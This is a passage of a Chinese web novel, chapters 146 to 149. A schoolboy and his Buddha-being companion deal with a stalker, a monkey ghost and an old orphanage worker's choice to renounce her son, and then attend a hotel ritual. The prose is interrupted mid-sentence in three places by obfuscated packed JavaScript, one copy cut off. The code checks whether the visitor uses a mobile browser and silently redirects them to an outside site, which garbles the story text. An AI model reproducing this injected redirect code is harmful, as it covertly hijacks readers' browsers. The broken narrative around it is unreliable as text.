“你看,他们真的只会找上你。”罗爱曜顿了顿,不断思索各种可能性,“不可能是因为你看起来面善,你现在看起来就很不好惹。拿金刚杵出来看看?” 施霜景的书包沉得要命,他现在每天上学、放学都背一大堆东西,施霜景将书包放在地上,翻找着金刚杵,找了好一会才找到。这时高峰的车已停在路旁,他摇下车窗,不怀好意地盯着施霜景。 “小弟,你上车,我们谈谈。”高峰说。 “谈个屁,滚。”施霜景找得心烦,他的金刚杵呢?哦,摸到了!被好几本书压在书包最低层,施霜景一手拎起书,一手才将金刚杵取出来。 罗爱曜:背上书包,继续往前走,我们去人少的地方。 施霜景:好。 施霜景将金刚杵揣进兜里,收拾书包,又背回肩上。罗爱曜与施霜景并肩往巷子内走,这是居民区巷子,愈往里便愈少人,学生的喧嚣进不来,而施霜景家几乎在巷子最底的横排楼栋中。高峰慢慢滑车,时不时冲窗外的施霜景嚷上几句。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15641990|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我给你一笔钱,你帮我劝劝我妈,让她回家好不好?她老了怎么办?难道你会照顾她?” “小弟,你真的很倔。” “你们一起回家?你和福利院的志愿者一起住?真搞笑,政府怎么还出钱让你们租房子?福利院不够你们住?真不要脸,用我们纳税人的钱住好房子。” “我妈年三十在警察局里,不会就是和你打电话吧?” 车辆开至小区停车场入口,随着施霜景停步而停车,施霜景敲敲铁皮车门:“出来。” 高峰却说:“不,你们有两个人,我就在车里待着。我就是看不爽你们这种没爹没妈的孩子,连别人的爹妈都要占。” 施霜景与罗爱曜对了对眼神,罗爱曜继续装卓老师,施霜景将书包交给罗爱曜,他摸到衣兜里的金刚杵已变幻了形态,一端锐利,一端则是忿怒相马头明王。 施霜景:接下来要我做什么? 罗爱曜:你想怎么做就怎么做,当作我不存在。 施霜景:我总不能用金刚杵捅人吧。 罗爱曜:我不知道。你随心做就好,我在你身后随时待命。 与罗爱曜商议过后,施霜景更加使力地敲车门:“不是要和我谈谈吗?怕了?不是要让我上车吗?” 高峰摆出一副欠揍样子,重新发动车辆,打算倒车。可在这一分钟,高峰的车熄火了,根本打不着,不论高峰怎么试,车子就跟死了一样。见高峰着急地拧钥匙,施霜景垂着双手等候事态发展。末了,高峰不论如何也无法发动车辆,可他也不能在这时候下车,反倒是自己锁死了车门。车辆熄火之后,车窗不能再摇上去,高峰登时有些怵,身体不自觉倾向副驾驶座一侧。 施霜景举起金刚杵,三棱尖头对准高峰。是的,这是施霜景现在最想做的事。他几次拿到尖头金刚杵都是冲突场景,可他每次都慈心泛滥,这算是施霜景的优柔寡断吗?还是说,这是他不主动伤人的原则呢?不管了,反正有罗爱曜在。 施霜景一手扶住车窗,微微倾身,亮出天铁普巴杵的尖头,他欲说什么,可能是什么教训的话语,可能是嘲讽,可能是免罪宣言,但施霜景一出声,念出的却是一句极短的咒文,大概只有五六个音节,不似佛语也不似人语,更像某种巫咒。 短咒毕,施霜景清楚地看见,副驾驶座隐隐浮现出一具无法描述的存在,面生须发,双手长长垂挂,獠牙红面,白眼无瞳,身躯的皮肤皱缩枯干如树皮,而皮肤的皱纹又汇成涡旋。这可怖的存在有着瘦长的体型,头顶车棚,脚踩车底,而高峰像是躲进了这可怖存在的怀中。它恫吓般地亮出獠牙,发出嘶嘶声。施霜景死盯着它,心定如铁。 施霜景:你看见了吗?副驾驶座上的东西。 罗爱曜:副驾驶座有东西?我只见到高峰的心魔,是一种近似混乱的杂线,缠上他原本的因果。 施霜景:像猴子鬼。你真看不见? 罗爱曜:把你的眼睛借给我。 罗爱曜闭上佛眼,借施霜景的一只人目,用人类的视力,竟然才见到施霜景所形容的那只猴鬼。嗯?好新鲜,原来人类的眼睛也能见到这样的存在? 146.大智若愚篇(九) 这样一只阴气森森的猴鬼,施霜景与其对视,心却像是沉进了海里,一点也不害怕。不如说,施霜景原本就有见邪不乱的超强心脏,死过一回之后,施霜景似乎更感觉不到恐惧了,这些惊悚的体验本应如针刺、刀劈、山崩一般吞噬凡人,可现在它们尽数化为了细雨、柔风、月夜。施霜景莫名其妙就适应了这一切,心定,定则生慧。 见到施霜景亮出锐器,高峰不敢离开车窗,怕施霜景伸手进来替他开车门,但又不敢靠得太近,怕这把金刚杵直接扎进他上半身,不论是往头扎还是往胸扎都是当即就死人的。 “小弟,你莽得很啊,话还没说几句就亮刀了……我是讲真的,我想接我妈回去享福,你们又不是她亲生的,缠着她也没什么意思。你帮我劝她,我给你三千块钱,反正她走了还会有其他人过来。我晓得我以前做了错事,但我不会让我妈死在外头……” “你自己信你说的话吗?牛头不对马嘴。”施霜景冷声道,“你要劝刘奶奶回家,我们没人拦着你,你为什么来找我?我为什么帮你劝?关我什么事?大半夜开车来堵我,不知道的还以为你要撞我或者把我绑上车呢。” 高峰表情微动,施霜景随口一说,就这样说中了高峰的想法——如果小弟能顺利上车,高峰会见机行事。小弟上道,高峰就给钱;小弟不上道,那就对不起了,高峰的日子不好过,这不是拿不拿得到那二十万的事。高峰实际欠了一百二十万,欠的还是地下钱庄的钱。他前几天在老房子翻出了刘茜二十多年前买的人身意外险……接下来的事,不必细说都很明白了。要怪就怪她那么老了还不听话、往外跑。 施霜景这人是很衰,衰到总碰见要他命的杀人犯或是潜在杀人犯。难道那些人身边也有这样一只猴鬼么?施霜景不知自己念的什么咒,也不知为什么他能看见而罗爱曜看不见。手腕一翻,施霜景探手进窗,高峰大惊,胡乱地掰着施霜景的左手,而那把锐器就这样离高峰的喉咙愈来愈近。高峰改换策略,手脚并用地往车后座爬去,而此刻几只看不见的手就这样从车内开了门,四扇车门吱呀推开。罗爱曜深藏功与名。 那只猴鬼与高峰一齐待在车里,高峰忽的从后排车座底部也摸出一把刀,很难想象,他的孩子和妻子坐在后排,母子却并不知道软皮车座下藏一把凶刀。不知道男人的杀性怎么从来都这么重。 巷子静得像坟场。灯依旧,人影却一点也见不着,就连窸窸窣窣、隐隐约约的电视或谈话声响也全都没有。施霜景往后退几步,高峰下车,刀指着施霜景,“搞什么名堂……你以为老子没有家伙?” 施霜景后退的原因不是高峰手中的刀,而是那只猴鬼。随着高峰的动作,那只猴鬼仿佛镜面对称动作,下车,长臂遥遥指向施霜景,看来这只猴鬼确实是跟着高峰来的。施霜景的左眼连带左眉毛不自觉跳了跳。 施霜景:你看见了吗?接下来要怎么办? 罗爱曜:我在思索……这样一只东西倒是不难办……你以前看见过这类东西吗? 施霜景:我第一次见到! 罗爱曜:我说呢,原来金刚杵到你手上,不是让你去捅人类。我之前想岔了,以为这杵在逼你成魔。现在看来,它正有对上的妖魔。 施霜景:我非要动手吗? 罗爱曜仍在琢磨,高峰却是举着刀倒退出巷子,竟然是不打算要车了。施霜景见那只猴鬼四肢撑地,追在高峰身后,其间距太近,从背后看很有种人魔交融的诡异景象。施霜景无语,绕一圈给高峰关上车门,这雷声大雨点小的……施霜景立刻给刘茜打电话。 “高峰手里有刀。”施霜景省去了前因后果,言简意赅道,“我要报警抓他。” 刘茜还没睡,正给新来的小孩子讲故事,听见施霜景这样一句,心里只有后怕。不知为何,她立刻就想起来那几张高额的人身意外保险单。她年轻时候还对儿子心存慈爱,生怕自己被前夫打死了,总有些东西可以留给儿子。刘茜无言以对,任施霜景去报警。 鬼子母神贴附在刘茜身后,呢喃道:“你向我许愿吧,我便是这方土地管母与子的小神仙。” 凌晨三点,警察在励光厂厂郊的一处果园里找到高峰。施霜景报警说的是有车跟踪他放学,警察调查监控,小巷静如坟场的那一小段时间的监控消失,但监控很清楚地拍到高峰的车开闪光灯跟进来,又拍到高峰抓着刀跑到大街上。 “施霜景,你过来,我看看你的眼睛。” 罗爱曜将床头灯调至最亮,施霜景今天又又又一次握住金刚杵却没有使用它,施霜景觉得这太扯了,跟逗他似的。罗爱曜的鼻尖触上施霜景的鼻尖,要看得这么近么?鼻尖相离,罗爱曜这才开始看眼睛。 “为什么你能看到,我却看不到呢……” “你能‘借’我的眼睛,这已经够厉害了。” “今晚所见的这只魔很不寻常,像山野精怪,但又不像是附身到高峰身上,他们之间动作完全同频,我切回佛眼,也只看到一段因果。”罗爱曜仔仔细细扒开施霜景的眼皮,从眼白到瞳仁,全部一一检查过去,肯定没有任何人在施霜景身上下些莫名其妙的咒,罗爱曜天天和施霜景相处,施霜景身上有多“干净”,罗爱曜最清楚。 施霜景有些抓狂:“我平时不想看到这样的东西啊!” “你还记得你所念的那一小节短咒吗?” “我念咒了?”施霜景继续不记事。 幸好罗爱曜就在现场,他仔细回忆,不停地倒带,这才复原出了施霜景所念的那句短咒。罗爱曜只能确定这绝非佛咒——施霜景对咒文好像本来就有天赋,当初学佛子咒一学就会,生死之际,施霜景还启发了罗爱曜,就好像施霜景身体里自有一套咒法程序似的。 罗爱曜录下这段短咒,找线索这种事,罗爱曜最擅长了。 当夜,施霜景忽的睁开眼睛,火丛噗地炸开,漫天星火如蚊蛾。左手、右手都是冰凉的触感,施霜景的双手被另外两只凉寒的手握住,施霜景向上抬手,一前,一后,脚步摇晃,好像要摔倒一般,但步子渐渐踩稳了,荡向前,再荡向后。这是舞蹈吗?动作不稳是因为施霜景的体型很小,梦里的他完全被中间巨大的篝火吸引住了目光,无暇也无法看向周遭。长大了,变高了,铃声响起,动作幅度变小,直至完全静默。念咒,手臂与肩膀时不时相擦,黑布帛做的一身衣,还有黑包头、黑法帽。火光深处, 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闹钟响起,施霜景脑子里隆隆的,一夜没睡好,梦的记忆非常清晰。施霜景关了闹钟,仰躺看天花板,逐渐回神。被窝里突然探过来一只手,握住施霜景的手腕。罗爱曜也醒了。 “佛子,我爸爸好像也是做封建迷信的。” “他们只是有信仰而已。” “我是不是从爸爸那里继承了什么东西?” “也许是的。” “我继承了什么?” “不知道。你这是第一世,一切都是未知数。” 施霜景又想了一会,问出一个他在梦里就一直一直思索的问题:“梦里有好多人……他们会不会都是有天赋的人……你说我是第一世,那会不会细数上去,很多人类的前世、前前世、第一世都是什么了不起的存在……” “是的。如果只是说‘这类’的天赋,那很多人都有。” “‘这类’是指哪一类?” “与神、鬼、巫、占、灵相关的天赋,或是由转世带来的天赋。” “那他们还是人类吗?” “当然是。” “我也是人类?” “是的。” 施霜景坐起身来,昨晚睡着睡着,睡衣不知道被谁脱掉了,春日清晨还有些冷呢。施霜景说:“我们很多人都有天赋,那会不会有一天,我们全都可以使用这样的天赋?” “那应该还要等很久很久。” “你怎么知道?” “俗世有生住异灭,以我的时空尺度来看,现在可能仍在‘生’的阶段。俗世轮替,而佛是常在的。我一直守着。至少在我诞生的这一计算法里,人类现在还是最初的‘生’阶段。” 施霜景复又躺下来,贪恋温热被窝:“我还以为我也像放哥那样,可以干玄学呢。” “你慢慢挑,慢慢选,日子很长,想干什么就干什么。” 罗爱曜的这句话完全发自诚心。人类很难挖掘出自己的转世或灵能天赋,很大一部分原因是寿命限制。如果人类亦得长生,那可选可挑的路途可太多了。罗爱曜的一部分本誓绑在施霜景身上,两人至此同生同死。施霜景要是觉得无聊怎么办?幸好他们结成一对还可以作伴。 147.大智若愚篇(十) 施霜景数不清自己这是几进宫、找警察,这么一次次麻烦人家,施霜景心里很是抱歉。不过施霜景这一整天都没接到警察的电话,也没被警察找上门,不知道他们到底有没有抓到高峰。晚上九点半晚自习结束,施霜景认为无论如何也要见刘茜一面,只是不知道她会如何作想。想起昨天给刘茜打的那通电话,施霜景略略有些后悔,当着一位母亲的面,说要报警抓她的孩子。施霜景站在福利院门前犹豫许久。 现在是孩子们全洗净了即将要睡觉的时间,春日的晚风很浪荡流连,像柳叶,也像归鸟的弯钩似的细羽。施霜景将书包藏进大门旁的花坛里,爬铁门,利落地翻身、落地。刘茜在二楼的寝室里,一盏黄灯足够照满一整间。施霜景犹豫着,还是给刘茜发了消息,希望能和她聊一聊。 未过多时,刘茜从二楼寝室里出来,与小院里的施霜景对视。她拢了拢棉服,下楼来,手里找着钥匙,“来我的房间吧。” 这次再来刘茜的小房间,屋内略显拥挤,刘茜买了带轮子又带罩子的立式衣架,把冬日的厚衣服一件件码进去。刘茜让施霜景坐在床上,她拉开了衣柜,原来她把鬼子母神像藏进了自己的衣柜里,是怕公益组织的调查小组看到这宗教物事。 屋里充盈着一点寒凉、尴尬的空气,主要是施霜景尴尬。在亲儿子高峰面前,施霜景和福利院的所有孩子都是假儿子、假女儿。施霜景也不知道要说什么,他心里难受。 “小景啊,明天调查组还要过来一趟,你还要不要来?” “还是中午吗?我有空就来。” 刘茜提了暖壶,想给施霜景倒杯热水,便打算出门去食堂找空杯子。施霜景拦住她:“不用麻烦,刘奶奶,我说几句话就走。” “这样啊……小景,那我也说几句话,就几句。今天我想了一整天,全在想这几句话了。” 刘茜也坐在床沿,与施霜景并排坐。她将施霜景养得很高、很英俊,兴许刘茜与施霜景本就是有缘的,打从巴士站接到流浪的施霜景那天起,他们就有缘。“小景,我和调查组的人聊过了,我会在福利院干到七十岁。七十岁,我也该退休了。我现在六十八岁,还有两年。”刘茜说。 “你要去哪里呢?” “我不知道呀。我不想去住养老院,趁着还能走走,可能会全国各地转一转。” 不,施霜景想问的不是这个。“然后呢?”施霜景追问。 刘茜看向衣柜里的鬼子母神石像,莫五娘死得那样早,刘茜则是托了现代社会的福,活到老了、丑了。刘茜深吸一口气,说道:“没有什么然后,我就这样找个安静的地方,一个人过。莫五娘说了,我对她好,她也就对我好,会让我利利索索地离开。我就在等那个时刻。” 面对一位老人的失望与执拗,施霜景的嘴张不开了。刘茜的年龄是施霜景的三倍,刘茜做出的选择,施霜景又怎么能不理解? “小景啊,你莫要担心。你好好地考试,好好地过日子,你以后会有自己的家庭,你不欠我什么的。我照顾你们,你们也是在照顾我。你真的不要担心。我在福利院的日子很快乐,但我不会在福利院待到我走不动路,我要利利索索地走。我结婚选错了人,没教好孩子,这都是命。” “奶奶,那你还回那个家吗?” “莫五娘说,她是这方土地上管母亲与孩子的神仙,要我许愿。我要许什么愿望呢?我又不能换一个儿子。我把他生下来,我这辈子都有责任。警察抓到了高峰,你去见过他了吗?他应该已经精神不正常了,什么都对警察说,他对警察说他欠了一百二十万,可他昨天对我说的是二十万……我不会回那个家,太恶心了。我感觉我这辈子从来没有爱过什么人。我不爱我的前夫。以前爱过高峰,现在不敢爱了。太恐怖了。要是可以不用做他的妈妈就好了,这样我就不必再回那个家。所以我向莫五娘许愿,我想不做任何人的妈妈。我想当做我从来没有生过孩子。”说完,刘茜长长地停顿,这沉默长得像吊绳也像脐带,而刘茜下一句话剪断了这根脐带,“我不知道高峰现在还记不记得我。他不记得最好,带他的老婆孩子回家吧。他没有妈妈,我就当这几十年来给孤魂野鬼做奴隶,十几年前才从鬼故事里逃出来。” 这决定做得那么快、那么突然,只有刘茜才知道,她其实从十几年前离开那个家就做好了心理准备,这些年过去了,漫长的隐痛结束于今日的阵痛。她既痛苦又轻松,浑身空落落,前路和退路都白茫茫。孩子割走了,前夫便也像腐肉一样脱落了,于是名存实亡的家庭解散。她刘茜是高考恢复之后的大龄高考生,毕业后辗转企业,最后入职国企,做会计做到小领导,退休后拖一个小箱子就来福利院继续发光发热,她这一辈子没有对不起任何人,她看尊严比看自己的命更重。 刘茜说,她不想做任何人的妈妈。施霜景有自己的妈妈,所以她从来都把刘茜当奶奶。施霜景只说:“你走遍全国以后,可以再回励光厂来,厂里什么东西都便宜,买菜、生活都方便。莫五娘在这里等你,她也会陪着你。神佛的爱比人的爱长多了。” “我们是女人搭伙而已。” “我知道。我又没说别的。” “小景,”刘茜喊住施霜景,她的眼睛湿湿的,刘茜已是老人了,可她的眼睛却依旧明亮,“是我偷享了你妈妈的福,你是个好孩子,我特别高兴能看着你长大。我听你说你也要学会计,你知道我最开始怎么想的么?我想,你怎么和我年轻时候一样呢?一点调查也不做,听到能管钱就兴高采烈去学了……别怪我没提醒你啊,做会计很辛苦的。”说到最后,刘茜破涕为笑。 衣柜里的鬼子母神像穿着线衣、戴着围巾,线衣是刘茜织的,围巾是施霜景送的。她如此静默地守护着一对没有血缘的母子,这超出了鬼子母神的能力,所以她难得做了一位看客。干净的感情不需要什么庇佑,至净至纯到这般地步,此情自有灵,可自辩自护、自爱自立。 从福利院出来,施霜景从花坛里找出书包,双肩背好。刘奶奶所做的决定让施霜景有些头晕晕的,是一种情感上的恍惚。“放弃”的威力可真大。 施霜景踩马路牙子,车道与人行道都只有他一个活人,树影婆娑,施霜景时不时抬头看天、看农田、看山,在这样一个小厂里,十步一个景,既城市也农业。突然,施霜景看见路旁果园的招牌后蹲伏着某样生物。施霜景凝神静气,单手从书包侧方摸出了金刚杵。他再次见到那只猴鬼,却没见到高峰。 猴鬼四肢撑地,直视施霜景,皱缩的、如树皮般的皮肤如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15641992|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苍老、脆弱,它不再露出獠牙,紧紧地抿着猴唇,时不时挠一挠前胸。施霜景不自觉地停下脚步,不知为何,他现在再看这只猴鬼,不觉得它可怖。它孤零零地等在这里,像入夜后错过末班车的游子,永远等不到回家的那趟车。 施霜景不知道这猴鬼来自哪里,与高峰的关系又是什么。施霜景不敢靠近它,但似乎又不能放任它在励光厂游荡。 耳后被某样珠宝冰凉的触感击中,施霜景下意识摸了摸耳朵,微微上视,黑暗中罗爱曜的法身几乎是贴在施霜景身后,法身面目不清,他的璎珞珠饰不小心碰上了施霜景。 知道罗爱曜一直在,施霜景壮了壮胆,握着金刚杵靠近猴鬼。 猴鬼不跑,只是随着施霜景的靠近,它从轻声啼叫转为放声啼鸣,呜呜如泣。直到施霜景凑到只剩一臂距离,他才看见那猴鬼的前胸似乎挂着某样东西。猴鬼的气息也像风一般,并没有想象中邪灵或魔的秽物感。猴鬼前胸的东西几次落下,它长臂一捞,又将东西扣回到胸前。这次复又掉下来,施霜景看清了。 那是一只小猴子。准确地说,是一只小猴子的玩偶般的物件,是草、树枝、果核与枯叶制成的假猴子,不知用了什么粘合剂,这只小猴子很牢固,只是没有做出可以挂在猴鬼身上的设计。 施霜景靠得足够近了,猴鬼忽然伸长手臂,手指好像指向了金刚杵尖。施霜景不知它是什么意思,按照它的指引现出金刚杵。猴鬼缓缓地将小猴子递过来,当金刚杵的棱尖触上小猴子,一阵暗火腾地燃起。先是猴鬼手中的小猴子,再是猴鬼的双手……猴鬼不再啼鸣,带着一身火光后退,这景象如此可怜,施霜景忍不住紧追上去,而那猴鬼义无反顾地往果园后的山林里跑去,暗红色的火光在某个瞬间忽然爆发出亮眼的橙色,旋即迅速地消逝,隐没于重重黑暗中。 施霜景在山下喘息,一阵幽风袭来,施霜景的双眼被看不见的砂砾磨得几乎流泪。远处车道上忽然驶过一辆红蓝闪灯的警车,长风裹挟着灰烬一路奔逐,直到这份缘分彻底尽了,母亲的执念散去,这一次她真的放下了。 “那只鬼……是刘奶奶的吗……”施霜景喃喃自语,喘匀了气之后,他踩着草往回走。 罗爱曜出现在大路旁,长腿支地,泊着机车等施霜景。 待施霜景坐上罗爱曜的机车后座,罗爱曜说:“在我的眼里,一切我执是简单的、循环结构的线索,它不依托于视觉。但好像在你的眼里,它有具体的形态,你可以通过这样的形态来理解他人的执……真神奇。” “是什么坏事吗?”施霜景问道。 “不是。我是在夸你很厉害。”罗爱曜启动机车。 虽然不知道施霜景为什么会突然见到这样的“魔”,可罗爱曜心里已经直觉地拼上了拼图。如果施霜景能修出那把文殊剑,如果施霜景能用马头明王的金刚杵,这是某种悲智双运的征兆。马头明王也可由观世音菩萨化现,修持“大悲”;文殊菩萨则修持“大智”。 这是什么意思呢? 正在驾驶的过程中,罗爱曜眼前忽然闪过自己密宗像的画面。隐隐约约地,好像有一具身体缠上了密宗像。 罗爱曜忽然刹车。 这是什么意思? 他不双修的啊! 148.大智若愚篇(十一) 施霜景疑惑,侧身出去,看路上是不是有行人或是流浪动物。什么都没有。罗爱曜很快又发动了机车,施霜景双手环抱罗爱曜的腰,这截回家的路好短,屁股还没坐热就要下车了。 察觉到施霜景这点失落感,罗爱曜出声问道:“想出去兜风?作业写完了?” “没写完,但没关系。我可以早点起床写题。” 罗爱曜将施霜景的书包放进停放机车的单间,锁好门,二人重新上车,都戴好头盔。“想往城里去还是往更外圈的山里去?”罗爱曜的声音瓮在头盔中。 “城里吧。同学说有一家夜宵的冒烤鸭很好吃,我们去买点夜宵。” “嗯,你可以一边吃冒烤鸭一边写作业。” “不要再提醒我了!我最近做数列题做得特别好!我有在认真上学!” 罗爱曜的笑被引擎声盖过去。机车皮椅如此柔软,仿佛机车的主人一开始就是为了双人骑行才选中这辆车。施霜景紧紧搂住罗爱曜的腰,脸贴在罗爱曜的机车夹克上,嗅着罗爱曜身上似有若无的香气。从励光厂开出去二十分钟,很快就能见到城市景观,施霜景不禁感慨,明明只是这么短的车程,怎么这边是新一线大城市,励光厂就只是个厂。罗爱曜不论开轿车还是机车都很稳,这与罗爱曜的气质也相符,看似风流,实则操心又古板。 罗爱曜出行从来不用看地图,二人抵达冒烤鸭的小店,施霜景仔细对了地址,确认是这家。两人干脆就先在小店里吃顿热乎的,如果喜欢就再打包一份。 晚上施霜景独自去找刘茜、路遇猴鬼,但这些都不必付诸语言解释。施霜景本来就不喜欢说话,他们终于越过了通过语言来表忠心的阶段,罗爱曜也摸清楚了到底要如何与施霜景相处——可以随意地跟踪他,可以随意地听他的想法,施霜景没什么见不得人的,换别人会觉得侵犯隐私,可施霜景只觉得省事。 施霜景眉眼舒展,心情很好,罗爱曜问他:“刚才你不害怕吗?” “一点都不害怕。什么感觉都没有。” 一双筷子搛起油汪汪、红通通的烤鸭,罗爱曜没胃口,将冒烤鸭放进施霜景碗里,“这周六F酒店会举行供奉仪式,你想不想去?” “可以去看看。你们不会搞些出格的东西吧?” “我已经很久没有吃过祭品了——最近想戒掉。吃人已经对我没有什么吸引力了。” “……我在吃饭。不过话又说回来,我不信你真的会吃人。”施霜景一脸正色道,“你那个真的算是‘吃’么?我感觉你就是把这些人丢进黑洞里了而已。” 罗爱曜隔绝了二人交谈的声音,聊吃人话题还是不要太大声比较好。 “其实我最近常常会想,我到底是要选择更像人类的活法,还是就像以前那样……”罗爱曜对菜色兴趣缺缺,施霜景给他点了一瓶唯怡豆奶,罗爱曜就叼着吸管喝豆奶。 “你好奇怪。你都不是人类,为什么非要‘像’人类一样活?”施霜景说,“等我高考完,你就不用按捺对出游的渴望了。你喜欢出差,喜欢看乐子,你就按你的心意活呗。记得回家就行。” 这番答案没超出罗爱曜的意料,可施霜景说得如此坦然,罗爱曜又搭错筋,莫名其妙发作道:“你这不是对我完全无所谓么?” “什么?” “我早就想说了,施霜景,我每次问你什么事,你都把皮球踢回给我——你又不是没得选。而且你脑子里怎么——怎么什么都不想!刚才我问你那个问题,你想都不想就给我答案了!你能不能动动脑子?!” 施霜景舒展的眉毛不由自主地拧起来,他莫名其妙被罗爱曜骂一顿,也不惯着罗爱曜:“你有病治病,我刚才的答案有什么问题?我看你就是太闲了。我可是有计划的。高考完我要找朋友玩,要唱歌!” 原来是想打发罗爱曜,让他一边玩去,别打扰施霜景的暑假计划。罗爱曜最近是有些闲出病来,刚才骑机车看到双修幻觉,是施霜景缠上罗爱曜的密宗像,这让罗爱曜不得不把修复宝殿和法界提上日程——再不修好像真的就要见鬼了! 两人就在吵吵闹闹中吃了一顿夜宵。施霜景打包剩下的冒烤鸭,再去隔壁的小店打包卤菜,绝不空军。罗爱曜决定今晚就开始上工。 回到家中,施霜景随意往佛龛里一看,发现那座马头明王像又鸠占鹊巢,替了佛子像。施霜景喊罗爱曜来换佛像,忽然发觉这马头明王像和上次见的不一样了。 鎏金马头明王身前挂抱一位明妃,佛像呈欢喜佛姿态。罗爱曜从房间出来,接收到施霜景微妙的眼神,也看向佛龛。 “佛子,你说你把本誓挂在我身上,不会是……” “不是。唉!到底要我说几回!我不要明妃,不行双修法!我知道有藏密会供奉马头明王,但我们汉密也会供奉……你不是,修明妃体非常苦,我为什么要把本誓挂在你身上再让你做明妃?——我不是藏密!” “罗爱曜,我很少见到你这么激动耶。” 罗爱曜淡淡的心死:“太邪门了。我觉得我天天被马头明王挑衅。他到底要干嘛?” 施霜景:“你们密宗是不是都这样,你有时候也邪门,大哥不说二哥。” 施霜景一语道破天机。罗爱曜有如照镜子,果然石头不砸在自己身上就不知道疼。 当晚,罗爱曜终于回到自己法界中,望一地断壁残垣,深深叹息,挤出胸中的郁气,打起精神来,观想坛城,于脑中复现宝殿的每一角落、纹饰。 在罗爱曜还没有托生人身之前,他的识于佛界孕育,那漫长的万万年里,罗爱曜有足够多的时间来观想自己的坛城法界,因此他的宝殿才如此雕梁画栋、精美异常。罗爱曜对细节有超乎寻常的偏执,他全记得这些细节,可“回想”这一动作要花费难以想象的精力,单纯的回想还不如再创造。 这下不仅是施霜景要高考……罗爱曜要是想寻求涅槃的可能性,就得尽快重建宝殿。切不可以再拖延了,罗爱曜一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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回到家,施霜景看罗爱曜的样子就知道,他的神思肯定又进法界了,这是好事也是坏事。施霜景喊了两声,罗爱曜没理他,抱着手臂坐在沙发上闭目养神。施霜景摇晃罗爱曜的肩膀。没反应。施霜景捏罗爱曜的脸。没反应。亲一口。还是没反应! 施霜景扶额,大中午的,他绝不打算开荤,不然用性这招肯定有用。施霜景纠结到底要不要选用温和一点的荤法,比如给罗爱曜口——正当这时,罗爱曜忽然睁眼,他知道刚才施霜景折腾他,只不过罗爱曜被别的事给绊住了。 罗爱曜越过施霜景,大步迈向佛龛,但里面的常规佛子像换了下来,取而代之的是放上一朵金属莲胞。 “我知道马头明王的来意了,也知道文殊菩萨的来意了。” 罗爱曜手指一捏,佛像化为齑粉,一地金沙流泻,于空中消散为无形。 施霜景问道:“□□歌跑来割肉喂你的信徒,你们到底在搞什么名堂?” “明天我们去酒店‘双修’。” “……” “……?” “罗爱曜,你不能光抛话但不解释。”施霜景心累,“你要是没事我就先回学校了。跟你沟通,累。” 149.大智若愚篇(十二) F酒店,这些大客户几乎每年都来,包下数层房间,美其名曰是包场团建,实际是酒店高层早已默认甚至参与的仪式活动。说起来既封建又玄乎,但其实流程一点也不复杂。 施霜景下车,这次他不是被罗爱曜骗来会场,所以愈靠近酒店就愈忐忑,质疑自己的决定是否正确——更重要的一点是,这次“卓逸纶”没有陪同施霜景一起去酒店。施霜景叫车将自己送来酒店,一进酒店大堂就见到许晏之。 “你舅舅不来?”许晏之一身米色风衣,潇洒富二代打扮。 施霜景按照罗爱曜的教导,回复道:“他上次去马家大宅有心理阴影,不想再掺和佛子的事了。” “噢……马家大宅的事……我上次有跟你说吗?我应该没和你说过吧?”许晏之露出狡黠神色,不好说是诈施霜景的话还是试探施霜景。 “只要佛子和我说过就行。我不记得你上次有没有说过了。”施霜景实话实说。 许晏之亲切地搂上施霜景的肩膀,施霜景一个撇步躲闪过去,他不习惯陌生人的肢体接触。许晏之说:“男人都想要忠诚,佛子也不例外。” 施霜景不动声色道:“我和佛子的事情不需要讲给你听。” 许晏之打个哈哈,领施霜景坐电梯一路上行。施霜景来过F酒店好多次,知道四十二层角房的天花板里藏有佛子的巨型羊皮唐卡,他和罗爱曜甚至夜夜睡在那张唐卡之下。四十二层的角房长期空置,许晏之查到从去年年底开始,这间房竟然有好几次使用记录,都留有施霜景的登记信息,许晏之便知道施霜景不是第一次来这个地方。 这回实打实来了八个家族的信徒,许晏之在电梯里简单介绍道:“我们的供奉仪式可大可小,佛子至今没有设立道场,在酒店里供奉是无奈之举,每个家族派来的人不会很多,基本都是主支一家四代人,旁支在我们本家的祠堂里供奉就行。” 整个供奉仪式非常简单。如果今年没有人祭,其实就是每个信徒都单独地进入羊皮唐卡套房进行还愿和供奉的仪式。许晏之甚至做了个表格,每个人进入房间的时间不能超过半小时,他的弟弟拿着表在门口一个个打勾,搞得像面试一样。 在切入仪式的正题之前,许晏之想将施霜景介绍给自家的老太太认识。其实施霜景在出发之前做了好一阵心理建设,他知道今天自己即将见到许多陌生人,不可避免要打交道,罗爱曜的人身还不在场,没办法帮他挡话。伸头一刀,缩头也是一刀。施霜景不擅长微笑,就一路冷脸,见到老太太时他试图缓和表情,看上去却更严肃了。 